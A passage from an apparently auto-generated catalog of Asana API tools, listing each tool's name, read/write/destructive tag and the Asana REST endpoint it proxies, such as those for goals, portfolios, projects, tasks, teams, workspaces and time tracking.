asana_get_goals_by_goal_gid_parentgoals (read) — Get parent goals for goal via GET /goals/{goal_gid}/parentGoals GET /api/v1/asana/goals/{goal_gid}/parentGoals. Scopes: none. asana_get_goals_by_goal_gid_stories (read) — Get stories for goal via GET /goals/{goal_gid}/stories GET /api/v1/asana/goals/{goal_gid}/stories. Scopes: none. asana_get_jobs_by_job_gid (read) — Get job via GET /jobs/{job_gid} GET /api/v1/asana/jobs/{job_gid}. Scopes: none. asana_get_memberships (read) — Get memberships via GET /memberships GET /api/v1/asana/memberships. Scopes: none. asana_get_memberships_by_membership_gid (read) — Get membership via GET /memberships/{membership_gid} GET /api/v1/asana/memberships/{membership_gid}. Scopes: none. asana_get_ooo_entries (read) — Get ooo entries via GET /ooo_entries GET /api/v1/asana/ooo_entries. Scopes: none. asana_get_ooo_entries_by_ooo_entry_gid (read) — Get ooo entry via GET /ooo_entries/{ooo_entry_gid} GET /api/v1/asana/ooo_entries/{ooo_entry_gid}. Scopes: none. asana_get_organization_exports_by_organization_export_gid (read) — Get organization export via GET /organization_exports/{organization_export_gid} GET /api/v1/asana/organization_exports/{organization_export_gid}. Scopes: none. asana_get_portfolio_memberships (read) — Get portfolio memberships via GET /portfolio_memberships GET /api/v1/asana/portfolio_memberships. Scopes: none. asana_get_portfolio_memberships_by_portfolio_membership_gid (read) — Get portfolio membership via GET /portfolio_memberships/{portfolio_membership_gid} GET /api/v1/asana/portfolio_memberships/{portfolio_membership_gid}. Scopes: none. asana_get_portfolios (read) — Get portfolios via GET /portfolios GET /api/v1/asana/portfolios. Scopes: none. asana_get_portfolios_by_portfolio_gid (read) — Get portfolio via GET /portfolios/{portfolio_gid} GET /api/v1/asana/portfolios/{portfolio_gid}. Scopes: none. asana_get_portfolios_by_portfolio_gid_custom_field_settings (read) — Get custom field settings for portfolio via GET /portfolios/{portfolio_gid}/custom_field_settings GET /api/v1/asana/portfolios/{portfolio_gid}/custom_field_settings. Scopes: none. asana_get_portfolios_by_portfolio_gid_items (read) — Get items for portfolio via GET /portfolios/{portfolio_gid}/items GET /api/v1/asana/portfolios/{portfolio_gid}/items. Scopes: none. asana_get_portfolios_by_portfolio_gid_portfolio_memberships (read) — Get portfolio memberships for portfolio via GET /portfolios/{portfolio_gid}/portfolio_memberships GET /api/v1/asana/portfolios/{portfolio_gid}/portfolio_memberships. Scopes: none. asana_get_portfolios_by_portfolio_gid_project_portfolio_settings (read) — Get project portfolio settings for portfolio via GET /portfolios/{portfolio_gid}/project_portfolio_settings GET /api/v1/asana/portfolios/{portfolio_gid}/project_portfolio_settings. Scopes: none. asana_get_project_briefs_by_project_brief_gid (read) — Get project brief via GET /project_briefs/{project_brief_gid} GET /api/v1/asana/project_briefs/{project_brief_gid}. Scopes: none. asana_get_project_memberships_by_project_membership_gid (read) — Get project membership via GET /project_memberships/{project_membership_gid} GET /api/v1/asana/project_memberships/{project_membership_gid}. Scopes: none. asana_get_project_portfolio_settings_by_project_portfolio_setting_gid (read) — Get project portfolio setting via GET /project_portfolio_settings/{project_portfolio_setting_gid} GET /api/v1/asana/project_portfolio_settings/{project_portfolio_setting_gid}. Scopes: none. asana_get_project_statuses_by_project_status_gid (read) — Get project status via GET /project_statuses/{project_status_gid} GET /api/v1/asana/project_statuses/{project_status_gid}. Scopes: none. asana_get_project_templates (read) — Get project templates via GET /project_templates GET /api/v1/asana/project_templates. Scopes: none. asana_get_project_templates_by_project_template_gid (read) — Get project template via GET /project_templates/{project_template_gid} GET /api/v1/asana/project_templates/{project_template_gid}. Scopes: none. asana_get_projects (read) — Get projects via GET /projects GET /api/v1/asana/projects. Scopes: none. asana_get_projects_by_project_gid (read) — Get project via GET /projects/{project_gid} GET /api/v1/asana/projects/{project_gid}. Scopes: none. asana_get_projects_by_project_gid_custom_field_settings (read) — Get custom field settings for project via GET /projects/{project_gid}/custom_field_settings GET /api/v1/asana/projects/{project_gid}/custom_field_settings. Scopes: none. asana_get_projects_by_project_gid_project_memberships (read) — Get project memberships for project via GET /projects/{project_gid}/project_memberships GET /api/v1/asana/projects/{project_gid}/project_memberships. Scopes: none. asana_get_projects_by_project_gid_project_portfolio_settings (read) — Get project portfolio settings for project via GET /projects/{project_gid}/project_portfolio_settings GET /api/v1/asana/projects/{project_gid}/project_portfolio_settings. Scopes: none. asana_get_projects_by_project_gid_project_statuses (read) — Get project statuses for project via GET /projects/{project_gid}/project_statuses GET /api/v1/asana/projects/{project_gid}/project_statuses. Scopes: none. asana_get_projects_by_project_gid_sections (read) — Get sections for project via GET /projects/{project_gid}/sections GET /api/v1/asana/projects/{project_gid}/sections. Scopes: none. asana_get_projects_by_project_gid_task_counts (read) — Get task counts for project via GET /projects/{project_gid}/task_counts GET /api/v1/asana/projects/{project_gid}/task_counts. Scopes: none. asana_get_projects_by_project_gid_tasks (read) — Get tasks for project via GET /projects/{project_gid}/tasks GET /api/v1/asana/projects/{project_gid}/tasks. Scopes: none. asana_get_rates (read) — Get rates via GET /rates GET /api/v1/asana/rates. Scopes: none. asana_get_rates_by_rate_gid (read) — Get rate via GET /rates/{rate_gid} GET /api/v1/asana/rates/{rate_gid}. Scopes: none. asana_get_reactions (read) — Get reactions on object via GET /reactions GET /api/v1/asana/reactions. Scopes: none. asana_get_roles (read) — Get roles via GET /roles GET /api/v1/asana/roles. Scopes: none. asana_get_roles_by_role_gid (read) — Get role via GET /roles/{role_gid} GET /api/v1/asana/roles/{role_gid}. Scopes: none. asana_get_sections_by_section_gid (read) — Get section via GET /sections/{section_gid} GET /api/v1/asana/sections/{section_gid}. Scopes: none. asana_get_sections_by_section_gid_tasks (read) — Get tasks for section via GET /sections/{section_gid}/tasks GET /api/v1/asana/sections/{section_gid}/tasks. Scopes: none. asana_get_status_updates (read) — Get statuses for object via GET /status_updates GET /api/v1/asana/status_updates. Scopes: none. asana_get_status_updates_by_status_update_gid (read) — Get status via GET /status_updates/{status_update_gid} GET /api/v1/asana/status_updates/{status_update_gid}. Scopes: none. asana_get_stories_by_story_gid (read) — Get story via GET /stories/{story_gid} GET /api/v1/asana/stories/{story_gid}. Scopes: none. asana_get_tags (read) — Get tags via GET /tags GET /api/v1/asana/tags. Scopes: none. asana_get_tags_by_tag_gid (read) — Get tag via GET /tags/{tag_gid} GET /api/v1/asana/tags/{tag_gid}. Scopes: none. asana_get_tags_by_tag_gid_tasks (read) — Get tasks for tag via GET /tags/{tag_gid}/tasks GET /api/v1/asana/tags/{tag_gid}/tasks. Scopes: none. asana_get_task_templates (read) — Get task templates via GET /task_templates GET /api/v1/asana/task_templates. Scopes: none. asana_get_task_templates_by_task_template_gid (read) — Get task template via GET /task_templates/{task_template_gid} GET /api/v1/asana/task_templates/{task_template_gid}. Scopes: none. asana_get_tasks (read) — Get tasks via GET /tasks GET /api/v1/asana/tasks. Scopes: none. asana_get_tasks_by_task_gid (read) — Get task via GET /tasks/{task_gid} GET /api/v1/asana/tasks/{task_gid}. Scopes: none. asana_get_tasks_by_task_gid_dependencies (read) — Get dependencies for task via GET /tasks/{task_gid}/dependencies GET /api/v1/asana/tasks/{task_gid}/dependencies. Scopes: none. asana_get_tasks_by_task_gid_dependents (read) — Get dependents for task via GET /tasks/{task_gid}/dependents GET /api/v1/asana/tasks/{task_gid}/dependents. Scopes: none. asana_get_tasks_by_task_gid_projects (read) — Get projects for task via GET /tasks/{task_gid}/projects GET /api/v1/asana/tasks/{task_gid}/projects. Scopes: none. asana_get_tasks_by_task_gid_stories (read) — Get stories for task via GET /tasks/{task_gid}/stories GET /api/v1/asana/tasks/{task_gid}/stories. Scopes: none. asana_get_tasks_by_task_gid_subtasks (read) — Get subtasks for task via GET /tasks/{task_gid}/subtasks GET /api/v1/asana/tasks/{task_gid}/subtasks. Scopes: none. asana_get_tasks_by_task_gid_tags (read) — Get tags for task via GET /tasks/{task_gid}/tags GET /api/v1/asana/tasks/{task_gid}/tags. Scopes: none. asana_get_tasks_by_task_gid_time_tracking_entries (read) — Get time tracking entries for task via GET /tasks/{task_gid}/time_tracking_entries GET /api/v1/asana/tasks/{task_gid}/time_tracking_entries. Scopes: none. asana_get_team_memberships (read) — Get team memberships via GET /team_memberships GET /api/v1/asana/team_memberships. Scopes: none. asana_get_team_memberships_by_team_membership_gid (read) — Get team membership via GET /team_memberships/{team_membership_gid} GET /api/v1/asana/team_memberships/{team_membership_gid}. Scopes: none. asana_get_teams_by_team_gid (read) — Get team via GET /teams/{team_gid} GET /api/v1/asana/teams/{team_gid}. Scopes: none. asana_get_teams_by_team_gid_custom_field_settings (read) — Get custom field settings for team via GET /teams/{team_gid}/custom_field_settings GET /api/v1/asana/teams/{team_gid}/custom_field_settings. Scopes: none. asana_get_teams_by_team_gid_project_templates (read) — Get project templates for team via GET /teams/{team_gid}/project_templates GET /api/v1/asana/teams/{team_gid}/project_templates. Scopes: none. asana_get_teams_by_team_gid_projects (read) — Get projects for team via GET /teams/{team_gid}/projects GET /api/v1/asana/teams/{team_gid}/projects. Scopes: none. asana_get_teams_by_team_gid_team_memberships (read) — Get team memberships for team via GET /teams/{team_gid}/team_memberships GET /api/v1/asana/teams/{team_gid}/team_memberships. Scopes: none. asana_get_teams_by_team_gid_users (read) — Get users for team via GET /teams/{team_gid}/users GET /api/v1/asana/teams/{team_gid}/users. Scopes: none. asana_get_time_periods (read) — Get time periods via GET /time_periods GET /api/v1/asana/time_periods. Scopes: none. asana_get_time_periods_by_time_period_gid (read) — Get time period via GET /time_periods/{time_period_gid} GET /api/v1/asana/time_periods/{time_period_gid}. Scopes: none. asana_get_time_tracking_categories (read) — Get time tracking categories via GET /time_tracking_categories GET /api/v1/asana/time_tracking_categories. Scopes: none. asana_get_time_tracking_categories_by_time_tracking_category_gid (read) — Get time tracking category via GET /time_tracking_categories/{time_tracking_category_gid} GET /api/v1/asana/time_tracking_categories/{time_tracking_category_gid}. Scopes: none. asana_get_time_tracking_categories_by_time_tracking_category_gid_time_tracking_entries (read) — Get time tracking entries for time tracking category via GET /time_tracking_categories/{time_tracking_category_gid}/time_tracking_entries GET /api/v1/asana/time_tracking_categories/{time_tracking_category_gid}/time_tracking_entries. Scopes: none. asana_get_time_tracking_entries (read) — Get time tracking entries via GET /time_tracking_entries GET /api/v1/asana/time_tracking_entries. Scopes: none. asana_get_time_tracking_entries_by_time_tracking_entry_gid (read) — Get time tracking entry via GET /time_tracking_entries/{time_tracking_entry_gid} GET /api/v1/asana/time_tracking_entries/{time_tracking_entry_gid}. Scopes: none. asana_get_timesheet_approval_statuses (read) — Get timesheet approval statuses via GET /timesheet_approval_statuses GET /api/v1/asana/timesheet_approval_statuses. Scopes: none. asana_get_timesheet_approval_statuses_by_timesheet_approval_status_gid (read) — Get timesheet approval status via GET /timesheet_approval_statuses/{timesheet_approval_status_gid} GET /api/v1/asana/timesheet_approval_statuses/{timesheet_approval_status_gid}. Scopes: none. asana_get_user_task_lists_by_user_task_list_gid (read) — Get user task list via GET /user_task_lists/{user_task_list_gid} GET /api/v1/asana/user_task_lists/{user_task_list_gid}. Scopes: none. asana_get_user_task_lists_by_user_task_list_gid_tasks (read) — Get tasks for user task list via GET /user_task_lists/{user_task_list_gid}/tasks GET /api/v1/asana/user_task_lists/{user_task_list_gid}/tasks. Scopes: none. asana_get_users (read) — Get users via GET /users GET /api/v1/asana/users. Scopes: none. asana_get_users_by_user_gid (read) — Get user via GET /users/{user_gid} GET /api/v1/asana/users/{user_gid}. Scopes: none. asana_get_users_by_user_gid_favorites (read) — Get favorites for user via GET /users/{user_gid}/favorites GET /api/v1/asana/users/{user_gid}/favorites. Scopes: none. asana_get_users_by_user_gid_team_memberships (read) — Get team memberships for user via GET /users/{user_gid}/team_memberships GET /api/v1/asana/users/{user_gid}/team_memberships. Scopes: none. asana_get_users_by_user_gid_teams (read) — Get teams for user via GET /users/{user_gid}/teams GET /api/v1/asana/users/{user_gid}/teams. Scopes: none. asana_get_users_by_user_gid_user_task_list (read) — Get user task list for user via GET /users/{user_gid}/user_task_list GET /api/v1/asana/users/{user_gid}/user_task_list. Scopes: none. asana_get_users_by_user_gid_workspace_memberships (read) — Get workspace memberships for user via GET /users/{user_gid}/workspace_memberships GET /api/v1/asana/users/{user_gid}/workspace_memberships. Scopes: none. asana_get_webhooks (read) — Get webhooks via GET /webhooks GET /api/v1/asana/webhooks. Scopes: none. asana_get_webhooks_by_webhook_gid (read) — Get webhook via GET /webhooks/{webhook_gid} GET /api/v1/asana/webhooks/{webhook_gid}. Scopes: none. asana_get_workspace_memberships_by_workspace_membership_gid (read) — Get workspace membership via GET /workspace_memberships/{workspace_membership_gid} GET /api/v1/asana/workspace_memberships/{workspace_membership_gid}. Scopes: none. asana_get_workspaces (read) — Get workspaces via GET /workspaces GET /api/v1/asana/workspaces. Scopes: none. asana_get_workspaces_by_workspace_gid (read) — Get workspace via GET /workspaces/{workspace_gid} GET /api/v1/asana/workspaces/{workspace_gid}. Scopes: none. asana_get_workspaces_by_workspace_gid_agents (read) — Get agents for workspace via GET /workspaces/{workspace_gid}/agents GET /api/v1/asana/workspaces/{workspace_gid}/agents. Scopes: none. asana_get_workspaces_by_workspace_gid_ai_studio_runs (read) — Get ai studio runs via GET /workspaces/{workspace_gid}/ai_studio/runs GET /api/v1/asana/workspaces/{workspace_gid}/ai_studio/runs. Scopes: none. asana_get_workspaces_by_workspace_gid_ai_studio_seats (read) — Get ai studio seats via GET /workspaces/{workspace_gid}/ai_studio/seats GET /api/v1/asana/workspaces/{workspace_gid}/ai_studio/seats. Scopes: none. asana_get_workspaces_by_workspace_gid_audit_log_events (read) — Get audit log events via GET /workspaces/{workspace_gid}/audit_log_events GET /api/v1/asana/workspaces/{workspace_gid}/audit_log_events. Scopes: none. asana_get_workspaces_by_workspace_gid_custom_fields (read) — Get custom fields for workspace via GET /workspaces/{workspace_gid}/custom_fields GET /api/v1/asana/workspaces/{workspace_gid}/custom_fields. Scopes: none. asana_get_workspaces_by_workspace_gid_events (read) — Get workspace events via GET /workspaces/{workspace_gid}/events GET /api/v1/asana/workspaces/{workspace_gid}/events. Scopes: none. asana_get_workspaces_by_workspace_gid_projects (read) — Get projects for workspace via GET /workspaces/{workspace_gid}/projects GET /api/v1/asana/workspaces/{workspace_gid}/projects. Scopes: none. asana_get_workspaces_by_workspace_gid_projects_search (read) — Search projects for workspace via GET /workspaces/{workspace_gid}/projects/search GET /api/v1/asana/workspaces/{workspace_gid}/projects/search. Scopes: none. asana_get_workspaces_by_workspace_gid_tags (read) — Get tags for workspace via GET /workspaces/{workspace_gid}/tags GET /api/v1/asana/workspaces/{workspace_gid}/tags. Scopes: none. asana_get_workspaces_by_workspace_gid_tasks_custom_id_by_custom_id (read) — Get task for custom id via GET /workspaces/{workspace_gid}/tasks/custom_id/{custom_id} GET /api/v1/asana/workspaces/{workspace_gid}/tasks/custom_id/{custom_id}. Scopes: none. asana_get_workspaces_by_workspace_gid_tasks_search (read) — Search tasks for workspace via GET /workspaces/{workspace_gid}/tasks/search GET /api/v1/asana/workspaces/{workspace_gid}/tasks/search. Scopes: none. asana_get_workspaces_by_workspace_gid_teams (read) — Get teams for workspace via GET /workspaces/{workspace_gid}/teams GET /api/v1/asana/workspaces/{workspace_gid}/teams. Scopes: none. asana_get_workspaces_by_workspace_gid_typeahead (read) — Typeahead for workspace via GET /workspaces/{workspace_gid}/typeahead GET /api/v1/asana/workspaces/{workspace_gid}/typeahead. Scopes: none. asana_get_workspaces_by_workspace_gid_users (read) — Get users for workspace via GET /workspaces/{workspace_gid}/users GET /api/v1/asana/workspaces/{workspace_gid}/users. Scopes: none. asana_get_workspaces_by_workspace_gid_users_by_user_gid (read) — Get user for workspace via GET /workspaces/{workspace_gid}/users/{user_gid} GET /api/v1/asana/workspaces/{workspace_gid}/users/{user_gid}. Scopes: none. asana_get_workspaces_by_workspace_gid_workspace_memberships (read) — Get workspace memberships for workspace via GET /workspaces/{workspace_gid}/workspace_memberships GET /api/v1/asana/workspaces/{workspace_gid}/workspace_memberships. Scopes: none. asana_post_access_requests (write) — Create access request via POST /access_requests POST /api/v1/asana/access_requests. Scopes: none. asana_post_access_requests_by_access_request_gid_approve (write) — Approve access request via POST /access_requests/{access_request_gid}/approve POST /api/v1/asana/access_requests/{access_request_gid}/approve. Scopes: none. asana_post_access_requests_by_access_request_gid_reject (write) — Reject access request via POST /access_requests/{access_request_gid}/reject POST /api/v1/asana/access_requests/{access_request_gid}/reject. Scopes: none. asana_post_allocations (write) — Create allocation via POST /allocations POST /api/v1/asana/allocations. Scopes: none. asana_post_batch (write, destructive) — Create batch request via POST /batch POST /api/v1/asana/batch. Scopes: none. asana_post_budgets (write) — Create budget via POST /budgets POST /api/v1/asana/budgets. Scopes: none. asana_post_custom_fields (write) — Create custom field via POST /custom_fields POST /api/v1/asana/custom_fields. Scopes: none. asana_post_custom_fields_by_custom_field_gid_enum_options (write) — Create enum option for custom field via POST /custom_fields/{custom_field_gid}/enum_options POST /api/v1/asana/custom_fields/{custom_field_gid}/enum_options. Scopes: none. asana_post_custom_fields_by_custom_field_gid_enum_options_insert (write) — Insert enum option for custom field via POST /custom_fields/{custom_field_gid}/enum_options/insert POST /api/v1/asana/custom_fields/{custom_field_gid}/enum_options/insert. Scopes: none. asana_post_exports_graph (write) — Create graph export via POST /exports/graph POST /api/v1/asana/exports/graph. Scopes: none. asana_post_exports_resource (write) — Create resource export via POST /exports/resource POST /api/v1/asana/exports/resource. Scopes: none. asana_post_goals (write) — Create goal via POST /goals POST /api/v1/asana/goals. Scopes: none. asana_post_goals_by_goal_gid_addcustomfieldsetting (write) — Add custom field setting for goal via POST /goals/{goal_gid}/addCustomFieldSetting POST /api/v1/asana/goals/{goal_gid}/addCustomFieldSetting. Scopes: none. asana_post_goals_by_goal_gid_addfollowers (write) — Add followers via POST /goals/{goal_gid}/addFollowers POST /api/v1/asana/goals/{goal_gid}/addFollowers. Scopes: none. asana_post_goals_by_goal_gid_addsupportingrelationship (write) — Add supporting relationship via POST /goals/{goal_gid}/addSupportingRelationship POST /api/v1/asana/goals/{goal_gid}/addSupportingRelationship. Scopes: none. asana_post_goals_by_goal_gid_removecustomfieldsetting (write) — Remove custom field setting for goal via POST /goals/{goal_gid}/removeCustomFieldSetting POST /api/v1/asana/goals/{goal_gid}/removeCustomFieldSetting. Scopes: none. asana_post_goals_by_goal_gid_removefollowers (write) — Remove followers via POST /goals/{goal_gid}/removeFollowers POST /api/v1/asana/goals/{goal_gid}/removeFollowers. Scopes: none. asana_post_goals_by_goal_gid_removesupportingrelationship (write) — Remove supporting relationship via POST /goals/{goal_gid}/removeSupportingRelationship POST /api/v1/asana/goals/{goal_gid}/removeSupportingRelationship. Scopes: none. asana_post_goals_by_goal_gid_setmetric (write) — Create goal metric via POST /goals/{goal_gid}/setMetric POST /api/v1/asana/goals/{goal_gid}/setMetric. Scopes: none. asana_post_goals_by_goal_gid_setmetriccurrentvalue (write) — Update goal metric via POST /goals/{goal_gid}/setMetricCurrentValue POST /api/v1/asana/goals/{goal_gid}/setMetricCurrentValue. Scopes: none. asana_post_goals_by_goal_gid_stories (write) — Create story for goal via POST /goals/{goal_gid}/stories POST /api/v1/asana/goals/{goal_gid}/stories. Scopes: none. asana_post_memberships (write) — Create membership via POST /memberships POST /api/v1/asana/memberships. Scopes: none. asana_post_ooo_entries (write) — Create ooo entry via POST /ooo_entries POST /api/v1/asana/ooo_entries. Scopes: none. asana_post_organization_exports (write) — Create organization export via POST /organization_exports POST /api/v1/asana/organization_exports. Scopes: none. asana_post_portfolios (write) — Create portfolio via POST /portfolios POST /api/v1/asana/portfolios. Scopes: none. asana_post_portfolios_by_portfolio_gid_addcustomfieldsetting (write) — Add custom field setting for portfolio via POST /portfolios/{portfolio_gid}/addCustomFieldSetting POST /api/v1/asana/portfolios/{portfolio_gid}/addCustomFieldSetting. Scopes: none. asana_post_portfolios_by_portfolio_gid_additem (write) — Add item for portfolio via POST /portfolios/{portfolio_gid}/addItem POST /api/v1/asana/portfolios/{portfolio_gid}/addItem. Scopes: none. asana_post_portfolios_by_portfolio_gid_addmembers (write) — Add members for portfolio via POST /portfolios/{portfolio_gid}/addMembers POST /api/v1/asana/portfolios/{portfolio_gid}/addMembers. Scopes: none. asana_post_portfolios_by_portfolio_gid_duplicate (write) — Duplicate portfolio via POST /portfolios/{portfolio_gid}/duplicate POST /api/v1/asana/portfolios/{portfolio_gid}/duplicate. Scopes: none. asana_post_portfolios_by_portfolio_gid_removecustomfieldsetting (write) — Remove custom field setting for portfolio via POST /portfolios/{portfolio_gid}/removeCustomFieldSetting POST /api/v1/asana/portfolios/{portfolio_gid}/removeCustomFieldSetting. Scopes: none. asana_post_portfolios_by_portfolio_gid_removeitem (write) — Remove item for portfolio via POST /portfolios/{portfolio_gid}/removeItem POST /api/v1/asana/portfolios/{portfolio_gid}/removeItem. Scopes: none. asana_post_portfolios_by_portfolio_gid_removemembers (write) — Remove members for portfolio via POST /portfolios/{portfolio_gid}/removeMembers POST /api/v1/asana/portfolios/{portfolio_gid}/removeMembers. Scopes: none. asana_post_project_templates_by_project_template_gid_instantiateproject (write) — Instantiate project via POST /project_templates/{project_template_gid}/instantiateProject POST /api/v1/asana/project_templates/{project_template_gid}/instantiateProject. Scopes: none. asana_post_projects (write) — Create project via POST /projects POST /api/v1/asana/projects. Scopes: none. asana_post_projects_by_project_gid_addcustomfieldsetting (write) — Add custom field setting for project via POST /projects/{project_gid}/addCustomFieldSetting POST /api/v1/asana/projects/{project_gid}/addCustomFieldSetting. Scopes: none. asana_post_projects_by_project_gid_addfollowers (write) — Add followers for project via POST /projects/{project_gid}/addFollowers POST /api/v1/asana/projects/{project_gid}/addFollowers. Scopes: none. asana_post_projects_by_project_gid_addmembers (write) — Add members for project via POST /projects/{project_gid}/addMembers POST /api/v1/asana/projects/{project_gid}/addMembers. Scopes: none. asana_post_projects_by_project_gid_duplicate (write) — Duplicate project via POST /projects/{project_gid}/duplicate POST /api/v1/asana/projects/{project_gid}/duplicate. Scopes: none. asana_post_projects_by_project_gid_project_briefs (write) — Create project brief via POST /projects/{project_gid}/project_briefs POST /api/v1/asana/projects/{project_gid}/project_briefs. Scopes: none. asana_post_projects_by_project_gid_project_statuses (write) — Create project status for project via POST /projects/{project_gid}/project_statuses POST /api/v1/asana/projects/{project_gid}/project_statuses. Scopes: none. asana_post_projects_by_project_gid_removecustomfieldsetting (write) — Remove custom field setting for project via POST /projects/{project_gid}/removeCustomFieldSetting POST /api/v1/asana/projects/{project_gid}/removeCustomFieldSetting. Scopes: none. asana_post_projects_by_project_gid_removefollowers (write) — Remove followers for project via POST /projects/{project_gid}/removeFollowers POST /api/v1/asana/projects/{project_gid}/removeFollowers. Scopes: none. asana_post_projects_by_project_gid_removemembers (write) — Remove members for project via POST /projects/{project_gid}/removeMembers POST /api/v1/asana/projects/{project_gid}/removeMembers. Scopes: none. asana_post_projects_by_project_gid_saveastemplate (write) — Project save as template via POST /projects/{project_gid}/saveAsTemplate POST /api/v1/asana/projects/{project_gid}/saveAsTemplate. Scopes: none. asana_post_projects_by_project_gid_sections (write) — Create section for project via POST /projects/{project_gid}/sections POST /api/v1/asana/projects/{project_gid}/sections. Scopes: none. asana_post_projects_by_project_gid_sections_insert (write) — Insert section for project via POST /projects/{project_gid}/sections/insert POST /api/v1/asana/projects/{project_gid}/sections/insert. Scopes: none. asana_post_rates (write) — Create rate via POST /rates POST /api/v1/asana/rates. Scopes: none. asana_post_roles (write) — Create role via POST /roles POST /api/v1/asana/roles. Scopes: none. asana_post_rule_triggers_by_rule_trigger_gid_run (write) — Trigger rule via POST /rule_triggers/{rule_trigger_gid}/run POST /api/v1/asana/rule_triggers/{rule_trigger_gid}/run. Scopes: none. asana_post_sections_by_section_gid_addtask (write) — Add task for section via POST /sections/{section_gid}/addTask POST /api/v1/asana/sections/{section_gid}/addTask. Scopes: none. asana_post_status_updates (write) — Create status for object via POST /status_updates POST /api/v1/asana/status_updates. Scopes: none. asana_post_tags (write) — Create tag via POST /tags POST /api/v1/asana/tags. Scopes: none. asana_post_task_templates_by_task_template_gid_instantiatetask (write) — Instantiate task via POST /task_templates/{task_template_gid}/instantiateTask POST /api/v1/asana/task_templates/{task_template_gid}/instantiateTask. Scopes: none. asana_post_tasks (write) — Create task via POST /tasks POST /api/v1/asana/tasks. Scopes: none. asana_post_tasks_by_task_gid_adddependencies (write) — Add dependencies for task via POST /tasks/{task_gid}/addDependencies POST /api/v1/asana/tasks/{task_gid}/addDependencies. Scopes: none. asana_post_tasks_by_task_gid_adddependents (write) — Add dependents for task via POST /tasks/{task_gid}/addDependents POST /api/v1/asana/tasks/{task_gid}/addDependents. Scopes: none. asana_post_tasks_by_task_gid_addfollowers (write) — Add followers for task via POST /tasks/{task_gid}/addFollowers POST /api/v1/asana/tasks/{task_gid}/addFollowers. Scopes: none. asana_post_tasks_by_task_gid_addproject (write) — Add project for task via POST /tasks/{task_gid}/addProject POST /api/v1/asana/tasks/{task_gid}/addProject. Scopes: none. asana_post_tasks_by_task_gid_addtag (write) — Add tag for task via POST /tasks/{task_gid}/addTag POST /api/v1/asana/tasks/{task_gid}/addTag. Scopes: none. asana_post_tasks_by_task_gid_duplicate (write) — Duplicate task via POST /tasks/{task_gid}/duplicate POST /api/v1/asana/tasks/{task_gid}/duplicate. Scopes: none. asana_post_tasks_by_task_gid_removedependencies (write) — Remove dependencies for task via POST /tasks/{task_gid}/removeDependencies POST /api/v1/asana/tasks/{task_gid}/removeDependencies. Scopes: none. asana_post_tasks_by_task_gid_removedependents (write) — Remove dependents for task via POST /tasks/{task_gid}/removeDependents POST /api/v1/asana/tasks/{task_gid}/removeDependents. Scopes: none. asana_post_tasks_by_task_gid_removefollowers (write) — Remove follower for task via POST /tasks/{task_gid}/removeFollowers POST /api/v1/asana/tasks/{task_gid}/removeFollowers. Scopes: none. asana_post_tasks_by_task_gid_removeproject (write) — Remove project for task via POST /tasks/{task_gid}/removeProject POST /api/v1/asana/tasks/{task_gid}/removeProject. Scopes: none. asana_post_tasks_by_task_gid_removetag (write) — Remove tag for task via POST /tasks/{task_gid}/removeTag POST /api/v1/asana/tasks/{task_gid}/removeTag. Scopes: none. asana_post_tasks_by_task_gid_setparent (write) — Set parent for task via POST /tasks/{task_gid}/setParent POST /api/v1/asana/tasks/{task_gid}/setParent. Scopes: none. asana_post_tasks_by_task_gid_stories (write) — Create story for task via POST /tasks/{task_gid}/stories POST /api/v1/asana/tasks/{task_gid}/stories. Scopes: none. asana_post_tasks_by_task_gid_subtasks (write) — Create subtask for task via POST /tasks/{task_gid}/subtasks POST /api/v1/asana/tasks/{task_gid}/subtasks. Scopes: none. asana_post_tasks_by_task_gid_time_tracking_entries (write) — Create time tracking entry via POST /tasks/{task_gid}/time_tracking_entries POST /api/v1/asana/tasks/{task_gid}/time_tracking_entries. Scopes: none. asana_post_teams (write) — Create team via POST /teams POST /api/v1/asana/teams. Scopes: none. asana_post_teams_by_team_gid_adduser (write) — Add user for team via POST /teams/{team_gid}/addUser POST /api/v1/asana/teams/{team_gid}/addUser. Scopes: none. asana_post_teams_by_team_gid_projects (write) — Create project for team via POST /teams/{team_gid}/projects POST /api/v1/asana/teams/{team_gid}/projects. Scopes: none. asana_post_teams_by_team_gid_removeuser (write, destructive) — Remove user for team via POST /teams/{team_gid}/removeUser POST /api/v1/asana/teams/{team_gid}/removeUser. Scopes: none. asana_post_time_tracking_categories (write) — Create time tracking category via POST /time_tracking_categories POST /api/v1/asana/time_tracking_categories. Scopes: none. asana_post_timesheet_approval_statuses (write) — Create timesheet approval status via POST /timesheet_approval_statuses POST /api/v1/asana/timesheet_approval_statuses. Scopes: none. asana_post_webhooks (write) — Create webhook via POST /webhooks POST /api/v1/asana/webhooks. Scopes: none. asana_post_workspaces_by_workspace_gid_adduser (write) — Add user for workspace via POST /workspaces/{workspace_gid}/addUser POST /api/v1/asana/workspaces/{workspace_gid}/addUser. Scopes: none. asana_post_workspaces_by_workspace_gid_projects (write) — Create project for workspace via POST /workspaces/{workspace_gid}/projects POST /api/v1/asana/workspaces/{workspace_gid}/projects. Scopes: none. asana_post_workspaces_by_workspace_gid_removeuser (write, destructive) — Remove user for workspace via POST /workspaces/{workspace_gid}/removeUser POST /api/v1/asana/workspaces/{workspace_gid}/removeUser. Scopes: none. asana_post_workspaces_by_workspace_gid_tags (write) — Create tag for workspace via POST /workspaces/{workspace_gid}/tags POST /api/v1/asana/workspaces/{workspace_gid}/tags. Scopes: none. asana_put_allocations_by_allocation_gid (write) — Update allocation via PUT /allocations/{allocation_gid} PUT /api/v1/asana/allocations/{allocation_gid}. Scopes: none. asana_put_budgets_by_budget_gid (write) — Update budget via PUT /budgets/{budget_gid} PUT /api/v1/asana/budgets/{budget_gid}. Scopes: none. asana_put_custom_fields_by_custom_field_gid (write) — Update custom field via PUT /custom_fields/{custom_field_gid} PUT /api/v1/asana/custom_fields/{custom_field_gid}. Scopes: none. asana_put_enum_options_by_enum_option_gid (write) — Update enum option via PUT /enum_options/{enum_option_gid} PUT /api/v1/asana/enum_options/{enum_option_gid}. Scopes: none. asana_put_goal_relationships_by_goal_relationship_gid (write) — Update goal relationship via PUT /goal_relationships/{goal_relationship_gid} PUT /api/v1/asana/goal_relationships/{goal_relationship_gid}. Scopes: none. asana_put_goals_by_goal_gid (write) — Update goal via PUT /goals/{goal_gid} PUT /api/v1/asana/goals/{goal_gid}. Scopes: none. asana_put_memberships_by_membership_gid (write) — Update membership via PUT /memberships/{membership_gid} PUT /api/v1/asana/memberships/{membership_gid}. Scopes: none. asana_put_ooo_entries_by_ooo_entry_gid (write) — Update ooo entry via PUT /ooo_entries/{ooo_entry_gid} PUT /api/v1/asana/ooo_entries/{ooo_entry_gid}. Scopes: none. 